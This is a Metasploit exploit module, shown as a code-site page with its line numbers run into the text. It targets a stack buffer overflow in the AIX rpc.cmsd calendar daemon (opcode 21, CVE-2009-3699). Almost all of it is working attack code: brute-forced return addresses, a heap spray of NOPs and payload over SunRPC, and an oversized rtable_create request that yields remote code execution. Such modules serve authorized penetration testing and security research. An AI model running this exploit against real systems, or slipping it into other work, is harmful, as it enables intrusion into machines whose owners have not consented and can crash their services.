Path: blob/master/modules/exploits/aix/rpc_cmsd_opcode21.rb
31166 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::SunRPC9include Msf::Exploit::Brute1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow',16'Description' => %q{17This module exploits a buffer overflow vulnerability in opcode 21 handled by18rpc.cmsd on AIX. By making a request with a long string passed to the first19argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This20leads to arbitrary code execution.2122NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where23further attempts are not possible.24},25'Author' => [26'Rodrigo Rubira Branco (BSDaemon)',27'jduck',28],29'References' => [30[ 'CVE', '2009-3699' ],31[ 'OSVDB', '58726' ],32[ 'BID', '36615' ],33[ 'URL', 'https://web.archive.org/web/20091013155835/http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ],34[ 'URL', 'https://web.archive.org/web/20221204155746/http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ]35],36'Payload' => {37'Space' => 4104,38'BadChars' => "\x00",39# The RPC function splits the string by 0x40, watch out!40# It's not a payload badchar since we're putting the payload elsewhere...41'DisableNops' => true42},43'Targets' => [44[45'IBM AIX Version 5.1',46{47'Arch' => 'ppc',48'Platform' => 'aix',49'AIX' => '5.1',50'Bruteforce' =>51{52'Start' => { 'Ret' => 0x2022dfc8 },53# worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 },54'Stop' => { 'Ret' => 0x202302c8 },55'Step' => 60056}57}58],59],60'DefaultTarget' => 0,61'DisclosureDate' => '2009-10-07',62'Notes' => {63'Reliability' => [ UNRELIABLE_SESSION ],64'Stability' => [ CRASH_SERVICE_RESTARTS ],65'SideEffects' => [ IOC_IN_LOGS ]66}67)68)69end7071def brute_exploit(brute_target)72if !@aixpayload73datastore['AIX'] = target['AIX']74@aixpayload = regenerate_payload.encoded75end7677print_status('Trying to exploit rpc.cmsd with address 0x%x ...' % brute_target['Ret'])7879begin80sunrpc_create('udp', 100068, 4)8182# spray the heap a bit (work around powerpc cache issues)83buf = make_nops(1024 - @aixpayload.length)84buf << @aixpayload85xdr = Rex::Encoder::XDR.encode(buf, buf)8610.times do87sunrpc_call(7, xdr, 2)88end8990# print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5)9192buf = rand_text_alphanumeric(payload_space)93buf << [brute_target['Ret']].pack('N')9495xdr = Rex::Encoder::XDR.encode(buf, '')96sunrpc_authunix('localhost', 0, 0, [])97sunrpc_call(21, xdr, 2)9899handler(sunrpc_callsock)100sunrpc_destroy101rescue Rex::Proto::SunRPC::RPCTimeout102vprint_error('RPCTimeout')103rescue Rex::Proto::SunRPC::RPCError => e104vprint_error(e.to_s)105rescue EOFError106vprint_error('EOFError')107end108end109end110111112